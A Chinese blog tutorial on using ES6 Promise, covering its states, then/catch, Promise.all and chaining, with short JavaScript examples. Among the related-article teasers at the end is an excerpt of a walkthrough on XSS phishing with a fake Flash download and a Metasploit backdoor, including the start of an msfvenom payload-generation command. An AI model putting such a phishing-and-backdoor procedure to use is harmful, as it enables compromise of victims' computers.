详解 ES6中 Promise 构造函数的使用

news2024/11/18 20:26:49

文章目录

  • 前言
  • 什么是 Promise?
  • Promise 的几种状态
  • 拆分细解 Promise
  • Promise all()方法
  • then()方法 返回一个新的 Promise 时的状态由什么决定?
  • 总结


前言

Promise 是ES6 新增的一个异步调用解决方案,它的出现是为了解决异步函数的 回调地狱 的问题。

在这里插入图片描述

什么是 Promise?

从语法层面 来说 Promise 是一个构造函数,从功能上来说 Promise 对象用来封装一个异步操作,并且可以获得请求的结果数据。参数接收一个 回调函数(也被叫做执行器函数用于执行异步操作),接收两个参数 resolve reject,当请求成功会自动调用 resolve失败则调用 reject。并且会将执行结果返回给 Promise 的实例对象。

一个 Promise 对象代表一个在这个 Promise 被创建出来时不一定已知值的代理。它让你能够把异步操作最终的成功返回值或者失败原因和相应的处理程序关联起来。这样使得异步方法可以像同步方法那样返回值:异步方法并不会立即返回最终的值,而是会返回一个 promise,以便在未来某个时候把值交给使用者。

同时 Promise 又有承诺的意思,意思是,约定好一件事,如果当下不能完成,后续一定会去处理完成,表示暂未完成,未来一定会完成的一种状态。


Promise 的几种状态

一个 Promise 对象拥有 三种状态,在同一时刻必然处于以下几种状态之一:

  • 待定(pending):初始状态,既没有被兑现,也没有被拒绝。
  • 已兑现(fulfilled):意味着操作成功完成。
  • 已拒绝(rejected):意味着操作失败。

1.pengding:意思是 待定的,即将要发生的, 这是 Promise 的初始化状态 ,如果创建 Promise 对象的时候,且没有调用resolve或者是reject方法 ,这时候状态就会为 pending,,这个初始化状态会随着你调用了 resolve,或者是reject函数而切换到另一种状态。

待定状态的 Promise 对象要么会通过一个值被兑现,要么会通过一个原因(错误)被拒绝。当这些情况之一发生时,我们用 Promise 的 then 方法排列起来的相关处理程序就会被调用。如果 Promise 在一个相应的处理程序被绑定时就已经被兑现或被拒绝了,那么这个处理程序也同样会被调用,因此在完成异步操作和绑定处理方法之间不存在竞态条件。

在这里插入图片描述

2.fulfilled: 表示成功了解决了,并且兑现了 “承诺”, 状态已经从 pending 转变成 fulfilled 了,要实现从 pending fulfilled 的转变,需要在创建Promise对象时,在函数体中调用了resolve方法。

在这里插入图片描述
3.rejected: 表示失败了,虽然得到了返回结果,但并不是我想要的,代码拒绝往后执行。要实现从pendingrejected的转换,只需要在创建Promise对象时,调用reject函数。

在这里插入图片描述

最后不管是成功还是失败,都会有一个结果,通常我们将成功数据称为 value,失败的数据称为 reason,并且当 Promise 的状态改变后,就不会再变了,是不可逆的。状态的改变伴随着事件的触发,一个 Promise 的状态只能被改变一次。

console.dir(Promise)

浏览器输出 Promise 原型对象,可以看见在它身上有很多属性方法。
在这里插入图片描述
Promise 的实例身上都会有 一个 then 方法,如上图,该方法有两个函数作为参数 .then(resolvedFunc, rejectedFunc)

  • resolvedFunc 状态成功时执行的回调函数
  • rejectedFunc 状态失败时执行的回调函数

所以说,如果返回的值,依然是一个 Promise ,那么就可以进行 then 方法的 链式调用


拆分细解 Promise

Promise 构造函数接收一个 callback 作为参数,这个 callback 被称为回调函数,用于执行异步操作:

let pro = new Promise(() => { })
console.log(pro);     // Promise {<pending>} 所有 Promise 初始状态都为 pending

回调函数接收两个参数 resolve, reject ,它们的类型都为 一个 function

let pro = new Promise((resolve, reject) => {
//执行异步任务请求的操作
})
console.log(pro);

异步请求如果,成功就调用 resolve,失败就调用 reject。最终的返回数据结果 ,会返回到 实例对象 pro上。

let pro = new Promise((resolve, reject) => {
//执行异步任务请求的操作
// 请求处理成功后调用 resolve(value)  把成功的数据返回出去
//请求处理如果 失败后调用 reject(reason) 把失败的信息也给返回出去

})
console.log(pro);

最后实例对象 pro 身上会有 一个 then 方法,同样可以接收两个回调函数作为参数。一旦在 Promise 函数中 成功调用了 resolve() 将会执行 then 中第一个回调函数,失败则会执行 then 的第二个回调函数:

pro().then(
    value => { console.log(value)},
    reason => { console.log(reason)}
)

流程图例:
在这里插入图片描述

案例

let pro = new Promise((resolve, reject) => {
    let a = 10;
    setTimeout(() => {
        if (a > 5) {
            resolve(a)
        } else {
            reject(a)
        }
    }, 5000)
})
console.log(pro);
pro.then(
    value => { console.log("成功的" + value) },
    reason => { console.log("失败的" + reason) }
)

当我们案例中 a 大于5的时候, resolve 方法调用,返回数据, 在 then 方法中第一个 value 回调参数输出成功返回的值。
在这里插入图片描述

反之,当我们案例中 a 小于5 的时候, reject 方法调用,返回数据, 在 then 方法中 第二个 reason 回调参数输出失败返回的值。
在这里插入图片描述

Promise 实例化 执行流程图例:

在这里插入图片描述
使用 catch 替代 then 的第二个回调

虽然 then 方法,可以接收两个参数,用来输出 成功 和 失败的信息,但是建议 then 方法只用来输出 成功 的信息,失败的信息可以用 catch() 来输出,这样显得更具语义化以及结构化,更加的清晰。

如:

let pro = new Promise((resolve, reject) => {
    let a = 4;
    setTimeout(() => {
        if (a > 5) {
            resolve(a)
        } else {
            reject(a)
        }
    }, 5000)
})
console.log(pro);
pro.then(value => {
    console.log("成功的" + value)
}).catch(reason => {
    console.log("失败的" + reason) 
})

需注意一点: Promise 的那个回调函数,实际上是一个 同步回调函数,只是当遇到 resolve() 或者 reject() ,时会调用 then方法,而 then ,方法是属于以前的回调,所以 then 方法中的 回调 是异步回调函数。如下案例,分析输出的顺序 。

let pm = new Promise((resolve, reject) => {
  console.log(1);
  resolve();
  console.log(2);
});
console.log(3);
pm.then(() => {
  console.log(4);
});
console.log(5);

案例印证了上面的观点。
在这里插入图片描述


Promise all()方法

all 方法用来将 多个 Promise 实例包裹成一个新的 Pomise 实例,它接收 一个数组作为参数,数组中,传入 N个 Promise 对象,返回一个新的 Promise。

let p1 = new Promise((resolve, reject) => {
  setTimeout(function () {
    resolve(1);
  }, 1000);
});
let p2 = new Promise((resolve, reject) => {
  setTimeout(function () {
    resolve(2);
  }, 5000);
});
let p3 = new Promise((resolve, reject) => {
  setTimeout(function () {
    resolve(3); 
  }, 200);
});
Promise.all([p1, p2, p3])
  .then((values) => {
    console.log(values);   //  [1, 2, 3]
  })
  .catch((reason) => {
    console.log(reason);
  }); 

上面案例中,有 3个 Promise 实例对象的回调函数,通过 all 方法,将多个 Promise 进行包裹处理,异步的执行顺序,会按照参数中,所定义的顺序来进行执行。

值得注意:只有当数组中的 Promise 全部都为成功 状态的时候,才会触发 then 方法,若其中有一个为失败的状态,则就会 直接触发 catch 方法返回失败的信息,不会触发,then 方法。

then()方法 返回一个新的 Promise 时的状态由什么决定?

返回的新的 Promise 的状态,主要是根据 前一个 Promise 对象的返回值来决定的。

大致分为以下几种状态情况。

  • 若抛出异常,新 Promise 状态变为 rejected,reason 为抛出的异常原因
  • 若返回非 Promise 的值,新 promise 状态变为 resolved,value 为返回的值
  • 若返回新的 Promise 结果就成为新 promise 的结果

总结

以上就是给大家 带来的 ES6 中 Promise 的概念用法,如今越来越多的封装框架化,确实带来了很多的便利,但是也不要忘记了掌握很多的原生的语法逻辑,有时候,回过头来,再看一看原生的东西,又是另一番感觉和领悟!


🚵‍♂️ 博主座右铭:向阳而生,我还在路上!
——————————————————————————————
🚴博主想说:将持续性为社区输出自己的资源,同时也见证自己的进步!
——————————————————————————————
🤼‍♂️ 如果都看到这了,博主希望留下你的足迹!【📂收藏!👍点赞!✍️评论!】
——————————————————————————————

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/444990.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Elasticsearch的调优思路

环境&#xff1a;centos7、elasticsearch-5.6.4 1、性能调优 1.1、Linux参数调优 1.1.1、关闭交换分区 目的是防止内存置换降低性能&#xff0c;将 /etc/fstab 文件中包含 swap 的行注释掉。 #执行命令&#xff1a;注释相关 swap的行 sed -i /swap/s/^/#/ /etc/fstab#将 /etc/f…

彻底弄清FreeRTOS中的事件组(Event Groups)

​之前已经学过两个任务之间可以利用信号量、队列来通信&#xff0c;任务可以利用这两个机制等待某一个事件发生&#xff0c;但是假如需要等待多个事件发生呢&#xff1f;这就需要用到事件组了。 事件组可以让任务进入阻塞态&#xff0c;等待一个或多个事件的组合发生。当事件…

根据 cadence 设计图学习硬件知识 day02 了解飞腾 X100芯片

1. 飞腾芯片 X100的介绍 飞腾套片X100是一款微处理器的配套芯片&#xff0c;主要功能包括图形图像处理和接口扩展两类。在图形图像处理方面&#xff0c;集成了图形处理加速GPU、视频解码VPU、显示控制接口DisplayPort以及显存控制器&#xff1b;在接口扩展方面&#xff0c;支持…

【矩形面积】

题目来源&#xff1a;https://leetcode.cn/problems/rectangle-area/ 目录 矩形面积 矩形面积 题目介绍 给你 二维 平面上两个 由直线构成且边与坐标轴平行/垂直 的矩形&#xff0c;请你计算并返回两个矩形覆盖的总面积。 每个矩形由其 左下 顶点和 右上 顶点坐标表示&#xf…

数字化转型危与机,20年老厂的升级之路

“投资大、周期长、见效慢”&#xff0c;是每一家企业在考虑数字化战略时&#xff0c;都会纠结的问题。 打江山容易&#xff0c;守江山难 企业在快速扩张的过程中&#xff0c;往往可以不需要过多的考虑细节的问题&#xff0c;跑马圈地的打法会更加有效。 但是市场占有量开始饱…

JS Array数组常用方法

会改变原数组的方法 1、array.push(需要在末尾添加的数据)【给数组末尾添加一个元素】 2、array.unshift(需要在首位添加的数据)【给数组首位添加一个元素】 3、array.pop()【从数组末尾删除元素,不需要传参】 4、array.shift()【从数组首位开始删除元素,不需要传参】 5、arra…

数据处理方法(LFSR)

一、线性反馈移位寄存器&#xff08;LFSR&#xff09;编码概述 线性反馈移位寄存器&#xff08;LFSR&#xff09;&#xff1a;通常由移位寄存器和异或门逻辑组成。其主要应用在&#xff1a; 伪随机数&#xff0c;伪噪声序列&#xff0c;计数器&#xff0c;BIST&#xff0c;数据…

树脂吸附含钴废水的实际案例

三元聚合物-锂电池是指正极材料使用锂、镍、钴、锰三元正极材料的锂电池&#xff0c;锂离子电池的正极材料有很多种&#xff0c;主要有钴酸锂、锰酸锂、镍酸锂、三元材料、磷酸铁锂等。用三元材料作为正极材料的动力锂电池&#xff0c;近年来凭借其容量高、循环稳定性&#xff…

Java笔记一(黑马)

目录 一.标准的javaBean二.反射1.获取class对象的三种方式2.反射获取构造方法3.反射获取成员变量4.反射获取成员方法 三.网络编程TCP Serve/ClientNIO框架Netty 一.标准的javaBean package com.itheima.domain;public class Student {//1.成员变量私有化//2.空参&#xff0c;带…

数据结构-树及相关算法

二叉树 递归算法的关键要明确函数的定义&#xff0c;相信这个定义&#xff0c;而不要跳进递归细节。 写二叉树的算法题&#xff0c;都是基于递归框架的&#xff0c;我们先要搞清楚 root 节点它自己要做什么&#xff0c;然后根据题目要求选择使用前序&#xff0c;中序&#xff0…

colmap使用教程

COLMAP 是具有图形和命令行界面的通用运动结构 (SfM) 和多视图立体 (MVS) 管道。 它为有序和无序图像集的重建提供了广泛的功能。 常见的基于nerf算法均需要colmap来计算位姿 安装colmap&#xff1a; conda install colmap 需要使用python9 step1&#xff1a;准备多视角图…

第十三节 I/O流与文件操作

文件读写 输入输出流 文本文件 一个字节一个字节写 8位十进制最大255 int read() throws IOException 字节 java.io.OutputStream 将十进制数按字节 用文件的类 表达文件 1.txt 相对路径 &#xff1a;工程是同级的 绝对路径C盘下 D 万物皆对象 都能封装成对象…

xss-flash钓鱼配合msf捆绑上线

这里写目录标题 一&#xff0c;后门文件生成与制作二&#xff0c;flash安装钓鱼网站搭建三&#xff0c;监听四&#xff0c;钓鱼 一&#xff0c;后门文件生成与制作 打开kali&#xff0c;查看ip add 查看 ip 地址为 192.168.1.8 输入 msfconsole 1.生成后门 msfvenom -p window…

LeetCode 1026. Maximum Difference Between Node and Ancestor【DFS,BFS,树】中等

本文属于「征服LeetCode」系列文章之一&#xff0c;这一系列正式开始于2021/08/12。由于LeetCode上部分题目有锁&#xff0c;本系列将至少持续到刷完所有无锁题之日为止&#xff1b;由于LeetCode还在不断地创建新题&#xff0c;本系列的终止日期可能是永远。在这一系列刷题文章…

Direct3D 12——模板——平面镜效果

1.将实物照常渲染到后台缓冲区内&#xff08;不包括镜子&#xff09;。注意&#xff0c;此步骤不修改模 板缓冲区。 2.清理模板缓冲区&#xff0c;将其整体置零。 将实物都绘制到后台缓冲区中&#xff0c;并将模板缓冲区清理为0 &#xff08;用浅灰色来表示&#xff09;。 绘…

socked编程

socket是什么&#xff1f;套接字是什么&#xff1f; 什么是 socket&#xff1f; socket 的原意是“插座”&#xff0c;在计算机通信领域&#xff0c;socket 被翻译为“套接字”&#xff0c;它是计算机之间进行通信的一种约定或一种方式。通过 socket 这种约定&#xff0c;一台…

Motion Planning学习笔记一:配置空间、图、图搜索、图遍历

学习高飞博士的路径规划课程所总结的学习笔记。 目录 1、配置空间&#xff08;Configuration Space, C-space&#xff09; 2、图&#xff08;Graphs&#xff09; 3、图搜索&#xff08;Graph Search Basis&#xff09; 3.1、总体框架 3.2、两种基本的图遍历算法 3.3、启…

漫谈大数据 - HiveSQL总结(二)查询操作

导语&#xff1a;HiveSQL各关键字详解&#xff0c;hive函数大全&#xff0c;类似于个人记录工具书&#xff0c;后续遇到其他的也会继续加进来。 有关hive库表操作请见上篇&#xff1a;漫谈大数据 - HiveSQL总结&#xff08;一&#xff09;库表操作_昊昊该干饭了的博客-CSDN博客…

一条SQL如何被MySQL架构中的各个组件操作执行的?

文章目录 1. 单表查询SQL在MySQL架构中的各个组件的执行过程2. SELECT的各个关键字在哪里执行&#xff1f;3. 表关联查询SQL在MySQL架构中的各个组件的执行过程4. LEFT JOIN将过滤条件放在子查询中再关联和放在WHERE子句上有什么区别&#xff1f;5. 聚集索引和全表扫描有什么区…

推动开发者平台本土化,高通加速中国XR内容生态发展

随着VR和AR技术快速发展&#xff0c;产品不断成熟&#xff0c;体验也变得越来越优秀。据悉&#xff0c;Meta Quest系列VR头显出货量超2000万台&#xff0c;基本证明了VR开始在消费类电子产品中占据一席之地。与此同时&#xff0c;近两年AR眼镜也在逐渐升温&#xff0c;成为了创…